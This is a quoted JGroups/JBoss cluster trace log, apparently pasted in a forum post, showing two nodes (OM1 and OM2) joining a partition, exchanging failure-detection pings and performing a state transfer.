> 2013-08-30 09:49:25,825 TRACE [UDP] (Incoming-5,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes], headers are GMS: GmsHeader[VIEW]: view=[OM1:1299|1] [OM1:1299, OM2:1299], NAKACK: [MSG, seqno=6], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,825 TRACE [NAKACK] (Incoming-5,null) OM1:1299: received OM1:1299#6
> 2013-08-30 09:49:25,825 TRACE [UDP] (Incoming-6,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes], headers are GMS: GmsHeader[VIEW]: view=[OM1:1299|1] [OM1:1299, OM2:1299], NAKACK: [MSG, seqno=6], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,825 DEBUG [NAKACK] (Incoming-5,null) 
> [setDigest()]
> existing digest:  OM1:1299: [1 : 6 (6)]
> new digest:       OM2:1299: [0 : 0], OM1:1299: [1 : 5 (5)]
> resulting digest: OM2:1299: [0 : 0 (0)], OM1:1299: [1 : 6 (6)]
> 2013-08-30 09:49:25,825 DEBUG [GMS] (Incoming-5,null) OM1:1299: view is [OM1:1299|1] [OM1:1299, OM2:1299]
> 2013-08-30 09:49:25,825 TRACE [VIEW_SYNC] (Incoming-5,null) view send task started
> 2013-08-30 09:49:25,825 DEBUG [FD_SOCK] (Incoming-5,null) VIEW_CHANGE received: [OM1:1299, OM2:1299]
> 2013-08-30 09:49:25,841 TRACE [UDP] (FD_SOCK pinger,om-agent-om-fence-HAPartition,OM1:1299) sending msg to null, src=OM1:1299, headers are FD_SOCK: I_HAVE_SOCK, mbr=OM1:1299, sock_addr=192.168.1.200:54400, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,841 TRACE [UDP] (FD_SOCK pinger,om-agent-om-fence-HAPartition,OM1:1299) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB]
> 2013-08-30 09:49:25,841 TRACE [STABLE] (Incoming-5,null) OM1:1299: resetting digest from NAKACK: [OM1:1299#6, OM2:1299#0]
> 2013-08-30 09:49:25,841 TRACE [UDP] (OOB-19,null) received [dst: <null>, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD_SOCK: I_HAVE_SOCK, mbr=OM1:1299, sock_addr=192.168.1.200:54400, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,841 TRACE [UFC] (Incoming-5,null) new membership: [OM1:1299, OM2:1299]
> 2013-08-30 09:49:25,841 TRACE [FD_SOCK] (OOB-19,null) i-have-sock: OM1:1299 --> 192.168.1.200:54400 (cache is {OM1:1299=192.168.1.200:54400})
> 2013-08-30 09:49:25,841 TRACE [MFC] (Incoming-5,null) new membership: [OM1:1299, OM2:1299]
> 2013-08-30 09:49:25,841 TRACE [FD_SOCK] (FD_SOCK pinger,om-agent-om-fence-HAPartition,OM1:1299) pinger_thread started
> 2013-08-30 09:49:25,841 TRACE [UDP] (OOB-20,null) received [dst: <null>, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD_SOCK: I_HAVE_SOCK, mbr=OM1:1299, sock_addr=192.168.1.200:54400, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,841 DEBUG [FD_SOCK] (FD_SOCK pinger,om-agent-om-fence-HAPartition,OM1:1299) ping_dest is OM2:1299, pingable_mbrs=[OM1:1299, OM2:1299]
> 2013-08-30 09:49:25,841 INFO  [om-agent-om-fence] (Incoming-5,null) New cluster view for partition om-agent-om-fence (id: 1, delta: 1, merge: false) : [OM1:1299, OM2:1299]
> 2013-08-30 09:49:25,841 TRACE [UDP] (FD_SOCK pinger,om-agent-om-fence-HAPartition,OM1:1299) sending msg to OM2:1299, src=OM1:1299, headers are FD_SOCK: WHO_HAS_SOCK, mbr=OM2:1299, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,841 INFO  [JGroupsTransport] (Incoming-5,null) Received new cluster view: [OM1:1299|1] [OM1:1299, OM2:1299]
> 2013-08-30 09:49:25,841 INFO  [om-agent-om-fence] (AsynchViewChangeHandler Thread) I am (OM1:1299) received membershipChanged event:
> 2013-08-30 09:49:25,841 INFO  [om-agent-om-fence] (AsynchViewChangeHandler Thread) Dead members: 0 ([])
> 2013-08-30 09:49:25,841 INFO  [om-agent-om-fence] (AsynchViewChangeHandler Thread) New Members : 1 ([OM2:1299])
> 2013-08-30 09:49:25,841 INFO  [om-agent-om-fence] (AsynchViewChangeHandler Thread) All Members : 2 ([OM1:1299, OM2:1299])
> 2013-08-30 09:49:25,857 DEBUG [FLUSH] (Incoming-5,null) OM1:1299: installing view [OM1:1299|1] [OM1:1299, OM2:1299]
> 2013-08-30 09:49:25,857 TRACE [UNICAST] (Incoming-5,null) OM1:1299 --> DATA(OM1:1299: #2, conn_id=0)
> 2013-08-30 09:49:25,857 TRACE [UDP] (Incoming-5,null) sending msg to OM1:1299, src=OM1:1299, headers are GMS: GmsHeader[VIEW_ACK]: view=null, UNICAST: DATA, seqno=2, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,857 TRACE [UDP] (OOB-20,null) received [dst: OM1:1299, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB], headers are GMS: GmsHeader[VIEW_ACK]: view=null, UNICAST: DATA, seqno=2, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,857 TRACE [UNICAST] (OOB-20,null) OM1:1299 <-- DATA(OM1:1299: #2)
> 2013-08-30 09:49:25,857 TRACE [UNICAST] (OOB-20,null) OM1:1299 --> ACK(OM1:1299: #2)
> 2013-08-30 09:49:25,857 TRACE [GMS] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) OM1:1299: received all ACKs (1) from existing members for view [OM1:1299|1]
> 2013-08-30 09:49:25,857 TRACE [UDP] (OOB-20,null) sending msg to OM1:1299, src=OM1:1299, headers are UNICAST: ACK, seqno=2, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,857 TRACE [UNICAST] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) OM1:1299: created connection to OM2:1299
> 2013-08-30 09:49:25,857 TRACE [UNICAST] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) OM1:1299 --> DATA(OM2:1299: #1, conn_id=1, first)
> 2013-08-30 09:49:25,857 TRACE [UDP] (Incoming-7,null) received [dst: OM1:1299, src: OM1:1299 (2 headers), size=0 bytes], headers are UNICAST: ACK, seqno=2, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,857 TRACE [UNICAST] (Incoming-7,null) OM1:1299 <-- ACK(OM1:1299: #2)
> 2013-08-30 09:49:25,857 TRACE [UDP] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) sending msg to OM2:1299, src=OM1:1299, headers are GMS: GmsHeader[JOIN_RSP]: join_rsp=view: [OM1:1299|1] [OM1:1299, OM2:1299], digest: OM2:1299: [0 : 0], OM1:1299: [1 : 5 (5)], UNICAST: DATA, seqno=1, conn_id=1, first, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,075 TRACE [UDP] (OOB-20,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD_SOCK: I_HAVE_SOCK, mbr=OM2:1299, sock_addr=192.168.1.201:54400, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,075 TRACE [FD_SOCK] (OOB-20,null) i-have-sock: OM2:1299 --> 192.168.1.201:54400 (cache is {OM2:1299=192.168.1.201:54400, OM1:1299=192.168.1.200:54400})
> 2013-08-30 09:49:26,075 TRACE [FD_SOCK] (FD_SOCK pinger,om-agent-om-fence-HAPartition,OM1:1299) ping_dest=OM2:1299, ping_sock=Socket[addr=/192.168.1.201,port=54400,localport=50257], cache={OM2:1299=192.168.1.201:54400, OM1:1299=192.168.1.200:54400}
> 2013-08-30 09:49:26,106 TRACE [UDP] (Incoming-8,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes], headers are UNICAST: ACK, seqno=1, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,106 TRACE [UNICAST] (Incoming-8,null) OM1:1299 <-- ACK(OM2:1299: #1)
> 2013-08-30 09:49:26,122 TRACE [UDP] (OOB-20,null) received [dst: <null>, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD_SOCK: I_HAVE_SOCK, mbr=OM2:1299, sock_addr=192.168.1.201:54400, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,122 TRACE [FD_SOCK] (OOB-20,null) i-have-sock: OM2:1299 --> 192.168.1.201:54400 (cache is {OM2:1299=192.168.1.201:54400, OM1:1299=192.168.1.200:54400})
> 2013-08-30 09:49:26,122 TRACE [UDP] (OOB-20,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD_SOCK: GET_CACHE, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,122 TRACE [UDP] (OOB-20,null) sending msg to OM2:1299, src=OM1:1299, headers are FD_SOCK: GET_CACHE_RSP, cache={OM2:1299=192.168.1.201:54400, OM1:1299=192.168.1.200:54400}, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,137 TRACE [UDP] (OOB-20,null) received [dst: OM1:1299, src: OM2:1299 (3 headers), size=0 bytes, flags=OOB], headers are GMS: GmsHeader[VIEW_ACK]: view=null, UNICAST: DATA, seqno=2, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,137 TRACE [FD_SOCK] (FD_SOCK server socket acceptor,om-agent-om-fence-HAPartition,OM1:1299) accepted connection from /192.168.1.201:63697
> 2013-08-30 09:49:26,137 TRACE [FD_SOCK] (FD_SOCK server socket acceptor,om-agent-om-fence-HAPartition,OM1:1299) waiting for client connections on OM1/192.168.1.200:54400
> 2013-08-30 09:49:26,137 TRACE [UNICAST] (OOB-20,null) OM1:1299 <-- DATA(OM2:1299: #2)
> 2013-08-30 09:49:26,137 TRACE [UNICAST] (OOB-20,null) OM1:1299 --> ACK(OM2:1299: #2)
> 2013-08-30 09:49:26,137 TRACE [UDP] (OOB-20,null) sending msg to OM2:1299, src=OM1:1299, headers are UNICAST: ACK, seqno=2, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,153 TRACE [GMS] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) OM1:1299: received all ACKs (1) from joiners for view [OM1:1299|1]
> 2013-08-30 09:49:26,153 TRACE [STABLE] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) OM1:1299: resetting digest from NAKACK: [OM1:1299#6, OM2:1299#0]
> 2013-08-30 09:49:26,153 DEBUG [STABLE] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) resuming message garbage collection
> 2013-08-30 09:49:26,153 DEBUG [GMS] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) OM1:1299: sending RESUME event
> 2013-08-30 09:49:26,153 DEBUG [FLUSH] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) OM1:1299: received RESUME, sending STOP_FLUSH to all
> 2013-08-30 09:49:26,153 TRACE [NAKACK] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) sending OM1:1299#7
> 2013-08-30 09:49:26,153 TRACE [UDP] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) sending msg to null, src=OM1:1299, headers are FLUSH: FLUSH[type=STOP_FLUSH,viewId=1], NAKACK: [MSG, seqno=7], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,153 TRACE [UDP] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) looping back message [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes]
> 2013-08-30 09:49:26,153 TRACE [UDP] (Incoming-9,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes], headers are FLUSH: FLUSH[type=STOP_FLUSH,viewId=1], NAKACK: [MSG, seqno=7], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,153 TRACE [NAKACK] (Incoming-9,null) OM1:1299: received OM1:1299#7
> 2013-08-30 09:49:26,153 TRACE [UDP] (Incoming-10,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes], headers are FLUSH: FLUSH[type=STOP_FLUSH,viewId=1], NAKACK: [MSG, seqno=7], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,153 DEBUG [FLUSH] (Incoming-9,null) OM1:1299: received STOP_FLUSH, unblocking FLUSH.down() and sending UNBLOCK up
> 2013-08-30 09:49:26,293 TRACE [UDP] (Incoming-11,null) received [dst: OM1:1299, src: OM2:1299 (3 headers), size=0 bytes], headers are STREAMING_STATE_TRANSFER: type=STATE_REQ, sender=OM2:1299 id=0, UNICAST: DATA, seqno=3, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,293 TRACE [UNICAST] (Incoming-11,null) OM1:1299 <-- DATA(OM2:1299: #3)
> 2013-08-30 09:49:26,293 TRACE [UNICAST] (Incoming-11,null) OM1:1299 --> ACK(OM2:1299: #3)
> 2013-08-30 09:49:26,293 TRACE [UDP] (Incoming-11,null) sending msg to OM2:1299, src=OM1:1299, headers are UNICAST: ACK, seqno=3, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,309 DEBUG [STREAMING_STATE_TRANSFER] (Incoming-11,null) Responding to state requester OM2:1299 with address 192.168.1.200:50258 and digest null
> 2013-08-30 09:49:26,309 TRACE [UNICAST] (Incoming-11,null) OM1:1299 --> DATA(OM2:1299: #2, conn_id=1)
> 2013-08-30 09:49:26,309 DEBUG [STREAMING_STATE_TRANSFER] (STREAMING_STATE_TRANSFER server socket acceptor,om-agent-om-fence-HAPartition,OM1:1299) StateProviderThreadSpawner listening at 192.168.1.200:50258...
> 2013-08-30 09:49:26,309 TRACE [UDP] (Incoming-11,null) sending msg to OM2:1299, src=OM1:1299, headers are STREAMING_STATE_TRANSFER: type=STATE_RSP, sender=OM1:1299 id=0, UNICAST: DATA, seqno=2, conn_id=1, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,309 TRACE [UDP] (Incoming-12,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes], headers are UNICAST: ACK, seqno=2, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,309 TRACE [UNICAST] (Incoming-12,null) OM1:1299 <-- ACK(OM2:1299: #2)
> 2013-08-30 09:49:26,309 DEBUG [STREAMING_STATE_TRANSFER] (STREAMING_STATE_TRANSFER server socket acceptor,om-agent-om-fence-HAPartition,OM1:1299) StateProviderThreadSpawner listening at 192.168.1.200:50258...
> 2013-08-30 09:49:26,309 DEBUG [STREAMING_STATE_TRANSFER] (STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299) Accepted request for state transfer from /192.168.1.201:63698 handing of to PooledExecutor thread
> 2013-08-30 09:49:26,325 DEBUG [STREAMING_STATE_TRANSFER] (STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299) Running on Thread[STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299,5,JGroups]. Accepted request for state transfer from /192.168.1.201:63698, original buffer size was 8192 and was reset to 8192, passing outputstream up... 
> 2013-08-30 09:49:26,512 DEBUG [StateTransferManagerImpl] (STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299) Generating state.  Can provide? true
> 2013-08-30 09:49:26,590 DEBUG [StateTransferManagerImpl] (STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299) Writing 1 StoredEntries to stream
> 2013-08-30 09:49:26,715 TRACE [UDP] (OOB-20,null) received [dst: OM1:1299, src: OM2:1299 (3 headers), size=9 bytes, flags=OOB|DONT_BUNDLE|NO_FC], headers are RequestCorrelator: id=201, type=REQ, id=2, rsp_expected=true, UNICAST: DATA, seqno=4, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,715 TRACE [UNICAST] (OOB-20,null) OM1:1299 <-- DATA(OM2:1299: #4)
> 2013-08-30 09:49:26,715 TRACE [RequestCorrelator] (OOB-20,null) calling (org.infinispan.remoting.transport.jgroups.CommandAwareRpcDispatcher) with request 2
> 2013-08-30 09:49:26,746 TRACE [RequestCorrelator] (OOB-20,null) sending rsp for 2 to OM2:1299
> 2013-08-30 09:49:26,746 TRACE [UNICAST] (OOB-20,null) OM1:1299 --> DATA(OM2:1299: #3, conn_id=1)
> 2013-08-30 09:49:26,746 TRACE [UDP] (OOB-20,null) sending msg to OM2:1299, src=OM1:1299, headers are RequestCorrelator: id=201, type=RSP, id=2, rsp_expected=false, UNICAST: DATA, seqno=3, conn_id=1, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,746 DEBUG [StateTransferManagerImpl] (STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299) State generated, closing object stream
> 2013-08-30 09:49:26,746 TRACE [UNICAST] (OOB-20,null) OM1:1299 --> ACK(OM2:1299: #4)
> 2013-08-30 09:49:26,746 TRACE [UDP] (OOB-20,null) sending msg to OM2:1299, src=OM1:1299, headers are UNICAST: ACK, seqno=4, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,746 DEBUG [STREAMING_STATE_TRANSFER] (STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299) State writer is closing the socket 
> 2013-08-30 09:49:26,761 TRACE [UDP] (Incoming-13,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes], headers are UNICAST: ACK, seqno=3, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,761 TRACE [UNICAST] (Incoming-13,null) OM1:1299 <-- ACK(OM2:1299: #3)
> 2013-08-30 09:49:26,761 TRACE [UDP] (OOB-20,null) received [dst: OM1:1299, src: OM2:1299 (3 headers), size=9 bytes, flags=OOB|DONT_BUNDLE|NO_FC], headers are RequestCorrelator: id=201, type=REQ, id=3, rsp_expected=true, UNICAST: DATA, seqno=5, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,761 TRACE [UNICAST] (OOB-20,null) OM1:1299 <-- DATA(OM2:1299: #5)
> 2013-08-30 09:49:26,761 TRACE [RequestCorrelator] (OOB-20,null) calling (org.infinispan.remoting.transport.jgroups.CommandAwareRpcDispatcher) with request 3
> 2013-08-30 09:49:26,761 TRACE [RequestCorrelator] (OOB-20,null) sending rsp for 3 to OM2:1299
> 2013-08-30 09:49:26,761 TRACE [UNICAST] (OOB-20,null) OM1:1299 --> DATA(OM2:1299: #4, conn_id=1)
> 2013-08-30 09:49:26,761 TRACE [UDP] (OOB-20,null) sending msg to OM2:1299, src=OM1:1299, headers are RequestCorrelator: id=201, type=RSP, id=3, rsp_expected=false, UNICAST: DATA, seqno=4, conn_id=1, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,761 TRACE [UNICAST] (OOB-20,null) OM1:1299 --> ACK(OM2:1299: #5)
> 2013-08-30 09:49:26,761 TRACE [UDP] (OOB-20,null) sending msg to OM2:1299, src=OM1:1299, headers are UNICAST: ACK, seqno=5, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,777 TRACE [UDP] (Incoming-14,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes], headers are UNICAST: ACK, seqno=4, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,777 TRACE [UNICAST] (Incoming-14,null) OM1:1299 <-- ACK(OM2:1299: #4)
> 2013-08-30 09:49:26,824 TRACE [UDP] (Incoming-15,null) received [dst: <null>, src: OM2:1299 (3 headers), size=0 bytes], headers are FLUSH: FLUSH[type=START_FLUSH,viewId=1,members=[OM1:1299, OM2:1299]], NAKACK: [MSG, seqno=1], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,824 TRACE [NAKACK] (Incoming-15,null) OM1:1299: received OM2:1299#1
> 2013-08-30 09:49:26,824 TRACE [UNICAST] (Incoming-15,null) OM1:1299 --> DATA(OM2:1299: #5, conn_id=1)
> 2013-08-30 09:49:26,824 TRACE [UDP] (Incoming-15,null) sending msg to OM2:1299, src=OM1:1299, headers are FLUSH: FLUSH[type=FLUSH_COMPLETED,viewId=1], UNICAST: DATA, seqno=5, conn_id=1, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,824 DEBUG [FLUSH] (Incoming-15,null) OM1:1299: received START_FLUSH, responded with FLUSH_COMPLETED to OM2:1299
> 2013-08-30 09:49:26,824 TRACE [UDP] (Incoming-16,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes], headers are UNICAST: ACK, seqno=5, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,824 TRACE [UNICAST] (Incoming-16,null) OM1:1299 <-- ACK(OM2:1299: #5)
> 2013-08-30 09:49:26,824 TRACE [UDP] (Incoming-17,null) received [dst: OM1:1299, src: OM2:1299 (3 headers), size=0 bytes], headers are STREAMING_STATE_TRANSFER: type=STATE_REQ, sender=OM2:1299 id=0, UNICAST: DATA, seqno=6, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,824 TRACE [UNICAST] (Incoming-17,null) OM1:1299 <-- DATA(OM2:1299: #6)
> 2013-08-30 09:49:26,824 TRACE [UNICAST] (Incoming-17,null) OM1:1299 --> ACK(OM2:1299: #6)
> 2013-08-30 09:49:26,824 TRACE [UDP] (Incoming-17,null) sending msg to OM2:1299, src=OM1:1299, headers are UNICAST: ACK, seqno=6, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,824 DEBUG [STREAMING_STATE_TRANSFER] (Incoming-17,null) Responding to state requester OM2:1299 with address 192.168.1.200:50258 and digest null
> 2013-08-30 09:49:26,824 TRACE [UNICAST] (Incoming-17,null) OM1:1299 --> DATA(OM2:1299: #6, conn_id=1)
> 2013-08-30 09:49:26,824 TRACE [UDP] (Incoming-17,null) sending msg to OM2:1299, src=OM1:1299, headers are STREAMING_STATE_TRANSFER: type=STATE_RSP, sender=OM1:1299 id=0, UNICAST: DATA, seqno=6, conn_id=1, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,824 TRACE [UDP] (Incoming-18,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes], headers are UNICAST: ACK, seqno=6, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,824 DEBUG [STREAMING_STATE_TRANSFER] (STREAMING_STATE_TRANSFER server socket acceptor,om-agent-om-fence-HAPartition,OM1:1299) StateProviderThreadSpawner listening at 192.168.1.200:50258...
> 2013-08-30 09:49:26,824 TRACE [UNICAST] (Incoming-18,null) OM1:1299 <-- ACK(OM2:1299: #6)
> 2013-08-30 09:49:26,824 DEBUG [STREAMING_STATE_TRANSFER] (STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299) Accepted request for state transfer from /192.168.1.201:63699 handing of to PooledExecutor thread
> 2013-08-30 09:49:26,824 DEBUG [STREAMING_STATE_TRANSFER] (STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299) Running on Thread[STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299,5,JGroups]. Accepted request for state transfer from /192.168.1.201:63699, original buffer size was 8192 and was reset to 8192, passing outputstream up... 
> 2013-08-30 09:49:27,058 DEBUG [STREAMING_STATE_TRANSFER] (STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299) State writer is closing the socket 
> 2013-08-30 09:49:27,151 TRACE [UDP] (Incoming-19,null) received [dst: <null>, src: OM2:1299 (3 headers), size=0 bytes], headers are FLUSH: FLUSH[type=STOP_FLUSH,viewId=1], NAKACK: [MSG, seqno=2], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:27,151 TRACE [NAKACK] (Incoming-19,null) OM1:1299: received OM2:1299#2
> 2013-08-30 09:49:27,151 DEBUG [FLUSH] (Incoming-19,null) OM1:1299: received STOP_FLUSH, unblocking FLUSH.down() and sending UNBLOCK up
> 2013-08-30 09:49:27,276 TRACE [UDP] (Incoming-20,null) received [dst: <null>, src: OM2:1299 (4 headers), size=874 bytes], headers are MuxRequestCorrelator: [org.jgroups.blocks.mux.MuxHeader Header], RequestCorrelator: id=201, type=REQ, id=4, rsp_expected=false, exclusion_list=[OM2:1299], NAKACK: [MSG, seqno=3], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:27,276 TRACE [NAKACK] (Incoming-20,null) OM1:1299: received OM2:1299#3
> 2013-08-30 09:49:27,276 TRACE [MFC] (Incoming-20,null) OM2:1299 used 874 credits, 1999126 remaining
> 2013-08-30 09:49:27,276 TRACE [RequestCorrelator] (Incoming-20,null) calling (org.jboss.ha.core.framework.server.CoreGroupCommunicationService$RpcHandler) with request 4
> 2013-08-30 09:49:27,276 TRACE [UDP] (Incoming-20,null) received [dst: <null>, src: OM2:1299 (4 headers), size=382 bytes], headers are MuxRequestCorrelator: [org.jgroups.blocks.mux.MuxHeader Header], RequestCorrelator: id=201, type=REQ, id=5, rsp_expected=true, exclusion_list=[OM2:1299], NAKACK: [MSG, seqno=4], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:27,276 TRACE [NAKACK] (Incoming-20,null) OM1:1299: received OM2:1299#4
> 2013-08-30 09:49:27,276 TRACE [MFC] (Incoming-20,null) OM2:1299 used 382 credits, 1998744 remaining
> 2013-08-30 09:49:27,276 TRACE [RequestCorrelator] (Incoming-20,null) calling (org.jboss.ha.core.framework.server.CoreGroupCommunicationService$RpcHandler) with request 5
> 2013-08-30 09:49:27,276 TRACE [RequestCorrelator] (Incoming-20,null) sending rsp for 5 to OM2:1299
> 2013-08-30 09:49:27,276 TRACE [UNICAST] (Incoming-20,null) OM1:1299 --> DATA(OM2:1299: #7, conn_id=1)
> 2013-08-30 09:49:27,276 TRACE [UDP] (Incoming-20,null) sending msg to OM2:1299, src=OM1:1299, headers are MuxRequestCorrelator: [org.jgroups.blocks.mux.MuxHeader Header], RequestCorrelator: id=201, type=RSP, id=5, rsp_expected=false, UNICAST: DATA, seqno=7, conn_id=1, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:27,292 TRACE [UDP] (Incoming-1,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes], headers are UNICAST: ACK, seqno=7, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:27,292 TRACE [UNICAST] (Incoming-1,null) OM1:1299 <-- ACK(OM2:1299: #7)
> 2013-08-30 09:49:27,292 TRACE [UDP] (Incoming-4,null) received [dst: <null>, src: OM2:1299 (4 headers), size=873 bytes], headers are MuxRequestCorrelator: [org.jgroups.blocks.mux.MuxHeader Header], RequestCorrelator: id=201, type=REQ, id=6, rsp_expected=false, exclusion_list=[OM2:1299], NAKACK: [MSG, seqno=5], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:27,292 TRACE [NAKACK] (Incoming-4,null) OM1:1299: received OM2:1299#5
> 2013-08-30 09:49:27,292 TRACE [MFC] (Incoming-4,null) OM2:1299 used 873 credits, 1997871 remaining
> 2013-08-30 09:49:27,292 TRACE [RequestCorrelator] (Incoming-4,null) calling (org.jboss.ha.core.framework.server.CoreGroupCommunicationService$RpcHandler) with request 6
> 2013-08-30 09:49:27,323 TRACE [UDP] (Incoming-3,null) received [dst: <null>, src: OM2:1299 (4 headers), size=566 bytes], headers are MuxRequestCorrelator: [org.jgroups.blocks.mux.MuxHeader Header], RequestCorrelator: id=201, type=REQ, id=7, rsp_expected=true, exclusion_list=[OM2:1299], NAKACK: [MSG, seqno=6], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:27,323 TRACE [NAKACK] (Incoming-3,null) OM1:1299: received OM2:1299#6
> 2013-08-30 09:49:27,323 TRACE [MFC] (Incoming-3,null) OM2:1299 used 566 credits, 1997305 remaining
> 2013-08-30 09:49:27,323 TRACE [RequestCorrelator] (Incoming-3,null) calling (org.jboss.ha.core.framework.server.CoreGroupCommunicationService$RpcHandler) with request 7
> 2013-08-30 09:49:27,339 TRACE [RequestCorrelator] (Incoming-3,null) sending rsp for 7 to OM2:1299
> 2013-08-30 09:49:27,354 TRACE [UNICAST] (Incoming-3,null) OM1:1299 --> DATA(OM2:1299: #8, conn_id=1)
> 2013-08-30 09:49:27,354 TRACE [UDP] (Incoming-3,null) sending msg to OM2:1299, src=OM1:1299, headers are MuxRequestCorrelator: [org.jgroups.blocks.mux.MuxHeader Header], RequestCorrelator: id=201, type=RSP, id=7, rsp_expected=false, UNICAST: DATA, seqno=8, conn_id=1, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:27,354 TRACE [UDP] (Incoming-6,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes], headers are UNICAST: ACK, seqno=8, UDP: [channel_name=om-agent-om-fence-HAPartition]
